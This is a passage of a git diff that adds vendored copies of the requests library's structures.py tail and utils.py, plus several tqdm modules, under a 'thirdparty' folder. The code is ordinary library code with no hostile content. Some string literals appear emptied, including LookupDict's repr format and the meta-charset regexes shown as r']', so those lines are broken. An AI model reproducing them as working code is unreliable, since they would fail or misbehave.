__iter__(self): + return (casedkey for casedkey, mappedvalue in self._store.values()) + + def __len__(self): + return len(self._store) + + def lower_items(self): + """Like iteritems(), but with all lowercase keys.""" + return ( + (lowerkey, keyval[1]) + for (lowerkey, keyval) + in self._store.items() + ) + + def __eq__(self, other): + if isinstance(other, Mapping): + other = CaseInsensitiveDict(other) + else: + return NotImplemented + # Compare insensitively + return dict(self.lower_items()) == dict(other.lower_items()) + + # Copy is required + def copy(self): + return CaseInsensitiveDict(self._store.values()) + + def __repr__(self): + return str(dict(self.items())) + + +class LookupDict(dict): + """Dictionary lookup object.""" + + def __init__(self, name=None): + self.name = name + super(LookupDict, self).__init__() + + def __repr__(self): + return '' % (self.name) + + def __getitem__(self, key): + # We allow fall-through here, so values default to None + + return self.__dict__.get(key, None) + + def get(self, key, default=None): + return self.__dict__.get(key, default) diff --git a/thirdparty/requests/utils.py b/thirdparty/requests/utils.py new file mode 100644 index 0000000..dbb02a0 --- /dev/null +++ b/thirdparty/requests/utils.py @@ -0,0 +1,1013 @@ +# -*- coding: utf-8 -*- + +""" +requests.utils +~~~~~~~~~~~~~~ + +This module provides utility functions that are used within Requests +that are also useful for external consumption. +""" + +import codecs +import contextlib +import io +import os +import re +import socket +import struct +import sys +import tempfile +import warnings +import zipfile +from collections import OrderedDict +from urllib3.util import make_headers + +from .__version__ import __version__ +from . import certs +# to_native_string is unused here, but imported here for backwards compatibility +from ._internal_utils import to_native_string +from .compat import parse_http_list as _parse_list_header +from .compat import ( + quote, urlparse, bytes, str, unquote, getproxies, + proxy_bypass, urlunparse, basestring, integer_types, is_py3, + proxy_bypass_environment, getproxies_environment, Mapping) +from .cookies import cookiejar_from_dict +from .structures import CaseInsensitiveDict +from .exceptions import ( + InvalidURL, InvalidHeader, FileModeWarning, UnrewindableBodyError) + +NETRC_FILES = ('.netrc', '_netrc') + +DEFAULT_CA_BUNDLE_PATH = certs.where() + +DEFAULT_PORTS = {'http': 80, 'https': 443} + +# Ensure that ', ' is used to preserve previous delimiter behavior. +DEFAULT_ACCEPT_ENCODING = ", ".join( + re.split(r",\s*", make_headers(accept_encoding=True)["accept-encoding"]) +) + + +if sys.platform == 'win32': + # provide a proxy_bypass version on Windows without DNS lookups + + def proxy_bypass_registry(host): + try: + if is_py3: + import winreg + else: + import _winreg as winreg + except ImportError: + return False + + try: + internetSettings = winreg.OpenKey(winreg.HKEY_CURRENT_USER, + r'Software\Microsoft\Windows\CurrentVersion\Internet Settings') + # ProxyEnable could be REG_SZ or REG_DWORD, normalizing it + proxyEnable = int(winreg.QueryValueEx(internetSettings, + 'ProxyEnable')[0]) + # ProxyOverride is almost always a string + proxyOverride = winreg.QueryValueEx(internetSettings, + 'ProxyOverride')[0] + except OSError: + return False + if not proxyEnable or not proxyOverride: + return False + + # make a check value list from the registry entry: replace the + # '' string by the localhost entry and the corresponding + # canonical entry. + proxyOverride = proxyOverride.split(';') + # now check if we match one of the registry values. + for test in proxyOverride: + if test == '': + if '.' not in host: + return True + test = test.replace(".", r"\.") # mask dots + test = test.replace("*", r".*") # change glob sequence + test = test.replace("?", r".") # change glob char + if re.match(test, host, re.I): + return True + return False + + def proxy_bypass(host): # noqa + """Return True, if the host should be bypassed. + + Checks proxy settings gathered from the environment, if specified, + or the registry. + """ + if getproxies_environment(): + return proxy_bypass_environment(host) + else: + return proxy_bypass_registry(host) + + +def dict_to_sequence(d): + """Returns an internal sequence dictionary update.""" + + if hasattr(d, 'items'): + d = d.items() + + return d + + +def super_len(o): + total_length = None + current_position = 0 + + if hasattr(o, '__len__'): + total_length = len(o) + + elif hasattr(o, 'len'): + total_length = o.len + + elif hasattr(o, 'fileno'): + try: + fileno = o.fileno() + except io.UnsupportedOperation: + pass + else: + total_length = os.fstat(fileno).st_size + + # Having used fstat to determine the file length, we need to + # confirm that this file was opened up in binary mode. + if 'b' not in o.mode: + warnings.warn(( + "Requests has determined the content-length for this " + "request using the binary size of the file: however, the " + "file has been opened in text mode (i.e. without the 'b' " + "flag in the mode). This may lead to an incorrect " + "content-length. In Requests 3.0, support will be removed " + "for files in text mode."), + FileModeWarning + ) + + if hasattr(o, 'tell'): + try: + current_position = o.tell() + except (OSError, IOError): + # This can happen in some weird situations, such as when the file + # is actually a special file descriptor like stdin. In this + # instance, we don't know what the length is, so set it to zero and + # let requests chunk it instead. + if total_length is not None: + current_position = total_length + else: + if hasattr(o, 'seek') and total_length is None: + # StringIO and BytesIO have seek but no useable fileno + try: + # seek to end of file + o.seek(0, 2) + total_length = o.tell() + + # seek back to current position to support + # partially read file-like objects + o.seek(current_position or 0) + except (OSError, IOError): + total_length = 0 + + if total_length is None: + total_length = 0 + + return max(0, total_length - current_position) + + +def get_netrc_auth(url, raise_errors=False): + """Returns the Requests tuple auth for a given url from netrc.""" + + netrc_file = os.environ.get('NETRC') + if netrc_file is not None: + netrc_locations = (netrc_file,) + else: + netrc_locations = ('~/{}'.format(f) for f in NETRC_FILES) + + try: + from netrc import netrc, NetrcParseError + + netrc_path = None + + for f in netrc_locations: + try: + loc = os.path.expanduser(f) + except KeyError: + # os.path.expanduser can fail when $HOME is undefined and + # getpwuid fails. See https://bugs.python.org/issue20164 & + # https://github.com/psf/requests/issues/1846 + return + + if os.path.exists(loc): + netrc_path = loc + break + + # Abort early if there isn't one. + if netrc_path is None: + return + + ri = urlparse(url) + + # Strip port numbers from netloc. This weird `if...encode`` dance is + # used for Python 3.2, which doesn't support unicode literals. + splitstr = b':' + if isinstance(url, str): + splitstr = splitstr.decode('ascii') + host = ri.netloc.split(splitstr)[0] + + try: + _netrc = netrc(netrc_path).authenticators(host) + if _netrc: + # Return with login / password + login_i = (0 if _netrc[0] else 1) + return (_netrc[login_i], _netrc[2]) + except (NetrcParseError, IOError): + # If there was a parsing error or a permissions issue reading the file, + # we'll just skip netrc auth unless explicitly asked to raise errors. + if raise_errors: + raise + + # App Engine hackiness. + except (ImportError, AttributeError): + pass + + +def guess_filename(obj): + """Tries to guess the filename of the given object.""" + name = getattr(obj, 'name', None) + if (name and isinstance(name, basestring) and name[0] != '<' and + name[-1] != '>'): + return os.path.basename(name) + + +def extract_zipped_paths(path): + """Replace nonexistent paths that look like they refer to a member of a zip + archive with the location of an extracted copy of the target, or else + just return the provided path unchanged. + """ + if os.path.exists(path): + # this is already a valid path, no need to do anything further + return path + + # find the first valid part of the provided path and treat that as a zip archive + # assume the rest of the path is the name of a member in the archive + archive, member = os.path.split(path) + while archive and not os.path.exists(archive): + archive, prefix = os.path.split(archive) + member = '/'.join([prefix, member]) + + if not zipfile.is_zipfile(archive): + return path + + zip_file = zipfile.ZipFile(archive) + if member not in zip_file.namelist(): + return path + + # we have a valid zip archive and a valid member of that archive + tmp = tempfile.gettempdir() + extracted_path = os.path.join(tmp, member.split('/')[-1]) + if not os.path.exists(extracted_path): + # use read + write to avoid the creating nested folders, we only want the file, avoids mkdir racing condition + with atomic_open(extracted_path) as file_handler: + file_handler.write(zip_file.read(member)) + return extracted_path + + +@contextlib.contextmanager +def atomic_open(filename): + """Write a file to the disk in an atomic fashion""" + replacer = os.rename if sys.version_info[0] == 2 else os.replace + tmp_descriptor, tmp_name = tempfile.mkstemp(dir=os.path.dirname(filename)) + try: + with os.fdopen(tmp_descriptor, 'wb') as tmp_handler: + yield tmp_handler + replacer(tmp_name, filename) + except BaseException: + os.remove(tmp_name) + raise + + +def from_key_val_list(value): + """Take an object and test to see if it can be represented as a + dictionary. Unless it can not be represented as such, return an + OrderedDict, e.g., + + :: + + >>> from_key_val_list([('key', 'val')]) + OrderedDict([('key', 'val')]) + >>> from_key_val_list('string') + Traceback (most recent call last): + ... + ValueError: cannot encode objects that are not 2-tuples + >>> from_key_val_list({'key': 'val'}) + OrderedDict([('key', 'val')]) + + :rtype: OrderedDict + """ + if value is None: + return None + + if isinstance(value, (str, bytes, bool, int)): + raise ValueError('cannot encode objects that are not 2-tuples') + + return OrderedDict(value) + + +def to_key_val_list(value): + """Take an object and test to see if it can be represented as a + dictionary. If it can be, return a list of tuples, e.g., + + :: + + >>> to_key_val_list([('key', 'val')]) + [('key', 'val')] + >>> to_key_val_list({'key': 'val'}) + [('key', 'val')] + >>> to_key_val_list('string') + Traceback (most recent call last): + ... + ValueError: cannot encode objects that are not 2-tuples + + :rtype: list + """ + if value is None: + return None + + if isinstance(value, (str, bytes, bool, int)): + raise ValueError('cannot encode objects that are not 2-tuples') + + if isinstance(value, Mapping): + value = value.items() + + return list(value) + + +# From mitsuhiko/werkzeug (used with permission). +def parse_list_header(value): + """Parse lists as described by RFC 2068 Section 2. + + In particular, parse comma-separated lists where the elements of + the list may include quoted-strings. A quoted-string could + contain a comma. A non-quoted string could have quotes in the + middle. Quotes are removed automatically after parsing. + + It basically works like :func:`parse_set_header` just that items + may appear multiple times and case sensitivity is preserved. + + The return value is a standard :class:`list`: + + >>> parse_list_header('token, "quoted value"') + ['token', 'quoted value'] + + To create a header from the :class:`list` again, use the + :func:`dump_header` function. + + :param value: a string with a list header. + :return: :class:`list` + :rtype: list + """ + result = [] + for item in _parse_list_header(value): + if item[:1] == item[-1:] == '"': + item = unquote_header_value(item[1:-1]) + result.append(item) + return result + + +# From mitsuhiko/werkzeug (used with permission). +def parse_dict_header(value): + """Parse lists of key, value pairs as described by RFC 2068 Section 2 and + convert them into a python dict: + + >>> d = parse_dict_header('foo="is a fish", bar="as well"') + >>> type(d) is dict + True + >>> sorted(d.items()) + [('bar', 'as well'), ('foo', 'is a fish')] + + If there is no value for a key it will be `None`: + + >>> parse_dict_header('key_without_value') + {'key_without_value': None} + + To create a header from the :class:`dict` again, use the + :func:`dump_header` function. + + :param value: a string with a dict header. + :return: :class:`dict` + :rtype: dict + """ + result = {} + for item in _parse_list_header(value): + if '=' not in item: + result[item] = None + continue + name, value = item.split('=', 1) + if value[:1] == value[-1:] == '"': + value = unquote_header_value(value[1:-1]) + result[name] = value + return result + + +# From mitsuhiko/werkzeug (used with permission). +def unquote_header_value(value, is_filename=False): + r"""Unquotes a header value. (Reversal of :func:`quote_header_value`). + This does not use the real unquoting but what browsers are actually + using for quoting. + + :param value: the header value to unquote. + :rtype: str + """ + if value and value[0] == value[-1] == '"': + # this is not the real unquoting, but fixing this so that the + # RFC is met will result in bugs with internet explorer and + # probably some other browsers as well. IE for example is + # uploading files with "C:\foo\bar.txt" as filename + value = value[1:-1] + + # if this is a filename and the starting characters look like + # a UNC path, then just return the value without quotes. Using the + # replace sequence below on a UNC path has the effect of turning + # the leading double slash into a single slash and then + # _fix_ie_filename() doesn't work correctly. See #458. + if not is_filename or value[:2] != '\\\\': + return value.replace('\\\\', '\\').replace('\\"', '"') + return value + + +def dict_from_cookiejar(cj): + """Returns a key/value dictionary from a CookieJar. + + :param cj: CookieJar object to extract cookies from. + :rtype: dict + """ + + cookie_dict = {} + + for cookie in cj: + cookie_dict[cookie.name] = cookie.value + + return cookie_dict + + +def add_dict_to_cookiejar(cj, cookie_dict): + """Returns a CookieJar from a key/value dictionary. + + :param cj: CookieJar to insert cookies into. + :param cookie_dict: Dict of key/values to insert into CookieJar. + :rtype: CookieJar + """ + + return cookiejar_from_dict(cookie_dict, cj) + + +def get_encodings_from_content(content): + """Returns encodings from given content string. + + :param content: bytestring to extract encodings from. + """ + warnings.warn(( + 'In requests 3.0, get_encodings_from_content will be removed. For ' + 'more information, please see the discussion on issue #2266. (This' + ' warning should only appear once.)'), + DeprecationWarning) + + charset_re = re.compile(r']', flags=re.I) + pragma_re = re.compile(r']', flags=re.I) + xml_re = re.compile(r'^<\?xml.*?encoding=["\']*(.+?)["\'>]') + + return (charset_re.findall(content) + + pragma_re.findall(content) + + xml_re.findall(content)) + + +def _parse_content_type_header(header): + """Returns content type and parameters from given header + + :param header: string + :return: tuple containing content type and dictionary of + parameters + """ + + tokens = header.split(';') + content_type, params = tokens[0].strip(), tokens[1:] + params_dict = {} + items_to_strip = "\"' " + + for param in params: + param = param.strip() + if param: + key, value = param, True + index_of_equals = param.find("=") + if index_of_equals != -1: + key = param[:index_of_equals].strip(items_to_strip) + value = param[index_of_equals + 1:].strip(items_to_strip) + params_dict[key.lower()] = value + return content_type, params_dict + + +def get_encoding_from_headers(headers): + """Returns encodings from given HTTP Header Dict. + + :param headers: dictionary to extract encoding from. + :rtype: str + """ + + content_type = headers.get('content-type') + + if not content_type: + return None + + content_type, params = _parse_content_type_header(content_type) + + if 'charset' in params: + return params['charset'].strip("'\"") + + if 'text' in content_type: + return 'ISO-8859-1' + + if 'application/json' in content_type: + # Assume UTF-8 based on RFC 4627: https://www.ietf.org/rfc/rfc4627.txt since the charset was unset + return 'utf-8' + + +def stream_decode_response_unicode(iterator, r): + """Stream decodes a iterator.""" + + if r.encoding is None: + for item in iterator: + yield item + return + + decoder = codecs.getincrementaldecoder(r.encoding)(errors='replace') + for chunk in iterator: + rv = decoder.decode(chunk) + if rv: + yield rv + rv = decoder.decode(b'', final=True) + if rv: + yield rv + + +def iter_slices(string, slice_length): + """Iterate over slices of a string.""" + pos = 0 + if slice_length is None or slice_length <= 0: + slice_length = len(string) + while pos < len(string): + yield string[pos:pos + slice_length] + pos += slice_length + + +def get_unicode_from_response(r): + """Returns the requested content back in unicode. + + :param r: Response object to get unicode content from. + + Tried: + + 1. charset from content-type + 2. fall back and replace all unicode characters + + :rtype: str + """ + warnings.warn(( + 'In requests 3.0, get_unicode_from_response will be removed. For ' + 'more information, please see the discussion on issue #2266. (This' + ' warning should only appear once.)'), + DeprecationWarning) + + tried_encodings = [] + + # Try charset from content-type + encoding = get_encoding_from_headers(r.headers) + + if encoding: + try: + return str(r.content, encoding) + except UnicodeError: + tried_encodings.append(encoding) + + # Fall back: + try: + return str(r.content, encoding, errors='replace') + except TypeError: + return r.content + + +# The unreserved URI characters (RFC 3986) +UNRESERVED_SET = frozenset( + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" + "0123456789-._~") + + +def unquote_unreserved(uri): + """Un-escape any percent-escape sequences in a URI that are unreserved + characters. This leaves all reserved, illegal and non-ASCII bytes encoded. + + :rtype: str + """ + parts = uri.split('%') + for i in range(1, len(parts)): + h = parts[i][0:2] + if len(h) == 2 and h.isalnum(): + try: + c = chr(int(h, 16)) + except ValueError: + raise InvalidURL("Invalid percent-escape sequence: '%s'" % h) + + if c in UNRESERVED_SET: + parts[i] = c + parts[i][2:] + else: + parts[i] = '%' + parts[i] + else: + parts[i] = '%' + parts[i] + return ''.join(parts) + + +def requote_uri(uri): + """Re-quote the given URI. + + This function passes the given URI through an unquote/quote cycle to + ensure that it is fully and consistently quoted. + + :rtype: str + """ + safe_with_percent = "!#$%&'()*+,/:;=?@[]~" + safe_without_percent = "!#$&'()*+,/:;=?@[]~" + try: + # Unquote only the unreserved characters + # Then quote only illegal characters (do not quote reserved, + # unreserved, or '%') + return quote(unquote_unreserved(uri), safe=safe_with_percent) + except InvalidURL: + # We couldn't unquote the given URI, so let's try quoting it, but + # there may be unquoted '%'s in the URI. We need to make sure they're + # properly quoted so they do not cause issues elsewhere. + return quote(uri, safe=safe_without_percent) + + +def address_in_network(ip, net): + """This function allows you to check if an IP belongs to a network subnet + + Example: returns True if ip = 192.168.1.1 and net = 192.168.1.0/24 + returns False if ip = 192.168.1.1 and net = 192.168.100.0/24 + + :rtype: bool + """ + ipaddr = struct.unpack('=L', socket.inet_aton(ip))[0] + netaddr, bits = net.split('/') + netmask = struct.unpack('=L', socket.inet_aton(dotted_netmask(int(bits))))[0] + network = struct.unpack('=L', socket.inet_aton(netaddr))[0] & netmask + return (ipaddr & netmask) == (network & netmask) + + +def dotted_netmask(mask): + """Converts mask from /xx format to xxx.xxx.xxx.xxx + + Example: if mask is 24 function returns 255.255.255.0 + + :rtype: str + """ + bits = 0xffffffff ^ (1 << 32 - mask) - 1 + return socket.inet_ntoa(struct.pack('>I', bits)) + + +def is_ipv4_address(string_ip): + """ + :rtype: bool + """ + try: + socket.inet_aton(string_ip) + except socket.error: + return False + return True + + +def is_valid_cidr(string_network): + """ + Very simple check of the cidr format in no_proxy variable. + + :rtype: bool + """ + if string_network.count('/') == 1: + try: + mask = int(string_network.split('/')[1]) + except ValueError: + return False + + if mask < 1 or mask > 32: + return False + + try: + socket.inet_aton(string_network.split('/')[0]) + except socket.error: + return False + else: + return False + return True + + +@contextlib.contextmanager +def set_environ(env_name, value): + """Set the environment variable 'env_name' to 'value' + + Save previous value, yield, and then restore the previous value stored in + the environment variable 'env_name'. + + If 'value' is None, do nothing""" + value_changed = value is not None + if value_changed: + old_value = os.environ.get(env_name) + os.environ[env_name] = value + try: + yield + finally: + if value_changed: + if old_value is None: + del os.environ[env_name] + else: + os.environ[env_name] = old_value + + +def should_bypass_proxies(url, no_proxy): + """ + Returns whether we should bypass proxies or not. + + :rtype: bool + """ + # Prioritize lowercase environment variables over uppercase + # to keep a consistent behaviour with other http projects (curl, wget). + get_proxy = lambda k: os.environ.get(k) or os.environ.get(k.upper()) + + # First check whether no_proxy is defined. If it is, check that the URL + # we're getting isn't in the no_proxy list. + no_proxy_arg = no_proxy + if no_proxy is None: + no_proxy = get_proxy('no_proxy') + parsed = urlparse(url) + + if parsed.hostname is None: + # URLs don't always have hostnames, e.g. file:/// urls. + return True + + if no_proxy: + # We need to check whether we match here. We need to see if we match + # the end of the hostname, both with and without the port. + no_proxy = ( + host for host in no_proxy.replace(' ', '').split(',') if host + ) + + if is_ipv4_address(parsed.hostname): + for proxy_ip in no_proxy: + if is_valid_cidr(proxy_ip): + if address_in_network(parsed.hostname, proxy_ip): + return True + elif parsed.hostname == proxy_ip: + # If no_proxy ip was defined in plain IP notation instead of cidr notation & + # matches the IP of the index + return True + else: + host_with_port = parsed.hostname + if parsed.port: + host_with_port += ':{}'.format(parsed.port) + + for host in no_proxy: + if parsed.hostname.endswith(host) or host_with_port.endswith(host): + # The URL does match something in no_proxy, so we don't want + # to apply the proxies on this URL. + return True + + with set_environ('no_proxy', no_proxy_arg): + # parsed.hostname can be `None` in cases such as a file URI. + try: + bypass = proxy_bypass(parsed.hostname) + except (TypeError, socket.gaierror): + bypass = False + + if bypass: + return True + + return False + + +def get_environ_proxies(url, no_proxy=None): + """ + Return a dict of environment proxies. + + :rtype: dict + """ + if should_bypass_proxies(url, no_proxy=no_proxy): + return {} + else: + return getproxies() + + +def select_proxy(url, proxies): + """Select a proxy for the url, if applicable. + + :param url: The url being for the request + :param proxies: A dictionary of schemes or schemes and hosts to proxy URLs + """ + proxies = proxies or {} + urlparts = urlparse(url) + if urlparts.hostname is None: + return proxies.get(urlparts.scheme, proxies.get('all')) + + proxy_keys = [ + urlparts.scheme + '://' + urlparts.hostname, + urlparts.scheme, + 'all://' + urlparts.hostname, + 'all', + ] + proxy = None + for proxy_key in proxy_keys: + if proxy_key in proxies: + proxy = proxies[proxy_key] + break + + return proxy + + +def default_user_agent(name="python-requests"): + """ + Return a string representing the default user agent. + + :rtype: str + """ + return '%s/%s' % (name, __version__) + + +def default_headers(): + """ + :rtype: requests.structures.CaseInsensitiveDict + """ + return CaseInsensitiveDict({ + 'User-Agent': default_user_agent(), + 'Accept-Encoding': DEFAULT_ACCEPT_ENCODING, + 'Accept': '*/*', + 'Connection': 'keep-alive', + }) + + +def parse_header_links(value): + """Return a list of parsed link headers proxies. + + i.e. Link: ; rel=front; type="image/jpeg",; rel=back;type="image/jpeg" + + :rtype: list + """ + + links = [] + + replace_chars = ' \'"' + + value = value.strip(replace_chars) + if not value: + return links + + for val in re.split(', *<', value): + try: + url, params = val.split(';', 1) + except ValueError: + url, params = val, '' + + link = {'url': url.strip('<> \'"')} + + for param in params.split(';'): + try: + key, value = param.split('=') + except ValueError: + break + + link[key.strip(replace_chars)] = value.strip(replace_chars) + + links.append(link) + + return links + + +# Null bytes; no need to recreate these on each call to guess_json_utf +_null = '\x00'.encode('ascii') # encoding to ASCII for Python 3 +_null2 = _null * 2 +_null3 = _null * 3 + + +def guess_json_utf(data): + """ + :rtype: str + """ + # JSON always starts with two ASCII characters, so detection is as + # easy as counting the nulls and from their location and count + # determine the encoding. Also detect a BOM, if present. + sample = data[:4] + if sample in (codecs.BOM_UTF32_LE, codecs.BOM_UTF32_BE): + return 'utf-32' # BOM included + if sample[:3] == codecs.BOM_UTF8: + return 'utf-8-sig' # BOM included, MS style (discouraged) + if sample[:2] in (codecs.BOM_UTF16_LE, codecs.BOM_UTF16_BE): + return 'utf-16' # BOM included + nullcount = sample.count(_null) + if nullcount == 0: + return 'utf-8' + if nullcount == 2: + if sample[::2] == _null2: # 1st and 3rd are null + return 'utf-16-be' + if sample[1::2] == _null2: # 2nd and 4th are null + return 'utf-16-le' + # Did not detect 2 valid UTF-16 ascii-range characters + if nullcount == 3: + if sample[:3] == _null3: + return 'utf-32-be' + if sample[1:] == _null3: + return 'utf-32-le' + # Did not detect a valid UTF-32 ascii-range character + return None + + +def prepend_scheme_if_needed(url, new_scheme): + """Given a URL that may or may not have a scheme, prepend the given scheme. + Does not replace a present scheme with the one provided as an argument. + + :rtype: str + """ + scheme, netloc, path, params, query, fragment = urlparse(url, new_scheme) + + # urlparse is a finicky beast, and sometimes decides that there isn't a + # netloc present. Assume that it's being over-cautious, and switch netloc + # and path if urlparse decided there was no netloc. + if not netloc: + netloc, path = path, netloc + + return urlunparse((scheme, netloc, path, params, query, fragment)) + + +def get_auth_from_url(url): + """Given a url with authentication components, extract them into a tuple of + username,password. + + :rtype: (str,str) + """ + parsed = urlparse(url) + + try: + auth = (unquote(parsed.username), unquote(parsed.password)) + except (AttributeError, TypeError): + auth = ('', '') + + return auth + + +# Moved outside of function to avoid recompile every call +_CLEAN_HEADER_REGEX_BYTE = re.compile(b'^\\S[^\\r\\n]*$|^$') +_CLEAN_HEADER_REGEX_STR = re.compile(r'^\S[^\r\n]*$|^$') + + +def check_header_validity(header): + """Verifies that header value is a string which doesn't contain + leading whitespace or return characters. This prevents unintended + header injection. + + :param header: tuple, in the format (name, value). + """ + name, value = header + + if isinstance(value, bytes): + pat = _CLEAN_HEADER_REGEX_BYTE + else: + pat = _CLEAN_HEADER_REGEX_STR + try: + if not pat.match(value): + raise InvalidHeader("Invalid return character or leading space in header: %s" % name) + except TypeError: + raise InvalidHeader("Value for header {%s: %s} must be of type str or " + "bytes, not %s" % (name, value, type(value))) + + +def urldefragauth(url): + """ + Given a url remove the fragment and the authentication part. + + :rtype: str + """ + scheme, netloc, path, params, query, fragment = urlparse(url) + + # see func:`prepend_scheme_if_needed` + if not netloc: + netloc, path = path, netloc + + netloc = netloc.rsplit('@', 1)[-1] + + return urlunparse((scheme, netloc, path, params, query, '')) + + +def rewind_body(prepared_request): + """Move file pointer back to its recorded starting position + so it can be read again on redirect. + """ + body_seek = getattr(prepared_request.body, 'seek', None) + if body_seek is not None and isinstance(prepared_request._body_position, integer_types): + try: + body_seek(prepared_request._body_position) + except (IOError, OSError): + raise UnrewindableBodyError("An error occurred when rewinding request " + "body for redirect.") + else: + raise UnrewindableBodyError("Unable to rewind request body for redirect.") diff --git a/thirdparty/tqdm/__init__.py b/thirdparty/tqdm/__init__.py new file mode 100644 index 0000000..a021d16 --- /dev/null +++ b/thirdparty/tqdm/__init__.py @@ -0,0 +1,41 @@ +from ._monitor import TMonitor, TqdmSynchronisationWarning +from ._tqdm_pandas import tqdm_pandas +from .cli import main # TODO: remove in v5.0.0 +from .gui import tqdm as tqdm_gui # TODO: remove in v5.0.0 +from .gui import trange as tgrange # TODO: remove in v5.0.0 +from .std import ( + TqdmDeprecationWarning, TqdmExperimentalWarning, TqdmKeyError, TqdmMonitorWarning, + TqdmTypeError, TqdmWarning, tqdm, trange) +from .version import __version__ + +__all__ = ['tqdm', 'tqdm_gui', 'trange', 'tgrange', 'tqdm_pandas', + 'tqdm_notebook', 'tnrange', 'main', 'TMonitor', + 'TqdmTypeError', 'TqdmKeyError', + 'TqdmWarning', 'TqdmDeprecationWarning', + 'TqdmExperimentalWarning', + 'TqdmMonitorWarning', 'TqdmSynchronisationWarning', + '__version__'] + + +def tqdm_notebook(*args, **kwargs): # pragma: no cover + """See tqdm.notebook.tqdm for full documentation""" + from warnings import warn + + from .notebook import tqdm as _tqdm_notebook + warn("This function will be removed in tqdm==5.0.0\n" + "Please use `tqdm.notebook.tqdm` instead of `tqdm.tqdm_notebook`", + TqdmDeprecationWarning, stacklevel=2) + return _tqdm_notebook(*args, **kwargs) + + +def tnrange(*args, **kwargs): # pragma: no cover + """ + A shortcut for `tqdm.notebook.tqdm(xrange(*args), **kwargs)`. + On Python3+, `range` is used instead of `xrange`. + """ + from warnings import warn + + from .notebook import trange as _tnrange + warn("Please use `tqdm.notebook.trange` instead of `tqdm.tnrange`", + TqdmDeprecationWarning, stacklevel=2) + return _tnrange(*args, **kwargs) diff --git a/thirdparty/tqdm/__main__.py b/thirdparty/tqdm/__main__.py new file mode 100644 index 0000000..4e28416 --- /dev/null +++ b/thirdparty/tqdm/__main__.py @@ -0,0 +1,3 @@ +from .cli import main + +main() diff --git a/thirdparty/tqdm/_dist_ver.py b/thirdparty/tqdm/_dist_ver.py new file mode 100644 index 0000000..0e32760 --- /dev/null +++ b/thirdparty/tqdm/_dist_ver.py @@ -0,0 +1 @@ +__version__ = '4.62.3' diff --git a/thirdparty/tqdm/_main.py b/thirdparty/tqdm/_main.py new file mode 100644 index 0000000..04fdeef --- /dev/null +++ b/thirdparty/tqdm/_main.py @@ -0,0 +1,9 @@ +from warnings import warn + +from .cli import * # NOQA +from .cli import __all__ # NOQA +from .std import TqdmDeprecationWarning + +warn("This function will be removed in tqdm==5.0.0\n" + "Please use `tqdm.cli.*` instead of `tqdm._main.*`", + TqdmDeprecationWarning, stacklevel=2) diff --git a/thirdparty/tqdm/_monitor.py b/thirdparty/tqdm/_monitor.py new file mode 100644 index 0000000..f71aa56 --- /dev/null +++ b/thirdparty/tqdm/_monitor.py @@ -0,0 +1,95 @@ +import atexit +from threading import Event, Thread, current_thread +from time import time +from warnings import warn + +__all__ = ["TMonitor", "TqdmSynchronisationWarning"] + + +class TqdmSynchronisationWarning(RuntimeWarning): + """tqdm multi-thread/-process errors which may cause incorrect nesting + but otherwise no adverse effects""" + pass + + +class TMonitor(Thread): + """ + Monitoring thread for tqdm bars. + Monitors if tqdm bars are taking too much time to display + and readjusts miniters automatically if necessary. + + Parameters + ---------- + tqdm_cls : class + tqdm class to use (can be core tqdm or a submodule). + sleep_interval : float + Time to sleep between monitoring checks. + """ + _test = {} # internal vars for unit testing + + def __init__(self, tqdm_cls, sleep_interval): + Thread.__init__(self) + self.daemon = True # kill thread when main killed (KeyboardInterrupt) + self.woken = 0 # last time woken up, to sync with monitor + self.tqdm_cls = tqdm_cls + self.sleep_interval = sleep_interval + self._time = self._test.get("time", time) + self.was_killed = self._test.get("Event", Event)() + atexit.register(self.exit) + self.start() + + def exit(self): + self.was_killed.set() + if self is not current_thread(): + self.join() + return self.report() + + def get_instances(self): + # returns a copy of started `tqdm_cls` instances + return [i for i in self.tqdm_cls._instances.copy() + # Avoid race by checking that the instance started + if hasattr(i, 'start_t')] + + def run(self): + cur_t = self._time() + while True: + # After processing and before sleeping, notify that we woke + # Need to be done just before sleeping + self.woken = cur_t + # Sleep some time... + self.was_killed.wait(self.sleep_interval) + # Quit if killed + if self.was_killed.is_set(): + return + # Then monitor! + # Acquire lock (to access _instances) + with self.tqdm_cls.get_lock(): + cur_t = self._time() + # Check tqdm instances are waiting too long to print + instances = self.get_instances() + for instance in instances: + # Check event in loop to reduce blocking time on exit + if self.was_killed.is_set(): + return + # Only if mininterval > 1 (else iterations are just slow) + # and last refresh exceeded maxinterval + if ( + instance.miniters > 1 + and (cur_t - instance.last_print_t) >= instance.maxinterval + ): + # force bypassing miniters on next iteration + # (dynamic_miniters adjusts mininterval automatically) + instance.miniters = 1 + # Refresh now! (works only for manual tqdm) + instance.refresh(nolock=True) + # Remove accidental long-lived strong reference + del instance + if instances != self.get_instances(): # pragma: nocover + warn("Set changed size during iteration" + + " (see https://github.com/tqdm/tqdm/issues/481)", + TqdmSynchronisationWarning, stacklevel=2) + # Remove accidental long-lived strong references + del instances + + def report(self): + return not self.was_killed.is_set() diff --git a/thirdparty/tqdm/_tqdm.py b/thirdparty/tqdm/_tqdm.py new file mode 100644 index 0000000..7fc4962 --- /dev/null +++ b/thirdparty/tqdm/_tqdm.py @@ -0,0 +1,9 @@ +from warnings import warn + +from .std import * # NOQA +from .std import __all__ # NOQA +from .std import TqdmDeprecationWarning + +warn("This function will be removed in tqdm==5.0.0\n" + "Please use `tqdm.std.*` instead of `tqdm._tqdm.*`", + TqdmDeprecationWarning, stacklevel=2) diff --git a/thirdparty/tqdm/_tqdm_gui.py b/thirdparty/tqdm/_tqdm_gui.py new file mode 100644 index 0000000..f32aa89 --- /dev/null +++ b/thirdparty/tqdm/_tqdm_gui.py @@ -0,0 +1,9 @@ +from warnings import warn + +from .gui import * # NOQA +from .gui import __all__ # NOQA +from .std import TqdmDeprecationWarning + +warn("This function will be removed in tqdm==5.0.0\n" + "Please use `tqdm.gui.*` instead of `tqdm._tqdm_gui.*`", + TqdmDeprecationWarning, stacklevel=2) diff --git a/thirdparty/tqdm/_tqdm_notebook.py b/thirdparty/tqdm/_tqdm_notebook.py new file mode 100644 index 0000000..f225fbf --- /dev/null +++ b/thirdparty/tqdm/_tqdm_notebook.py @@ -0,0 +1,9 @@ +from warnings import warn + +from .notebook import * # NOQA +from .notebook import __all__ # NOQA +from .std import TqdmDeprecationWarning + +warn("This function will be removed in tqdm==5.0.0\n" + "Please use `tqdm.notebook.*` instead of `tqdm._tqdm_notebook.*`", + TqdmDeprecationWarning, stacklevel=2) diff --git a/thirdparty/tqdm/_tqdm_pandas.py 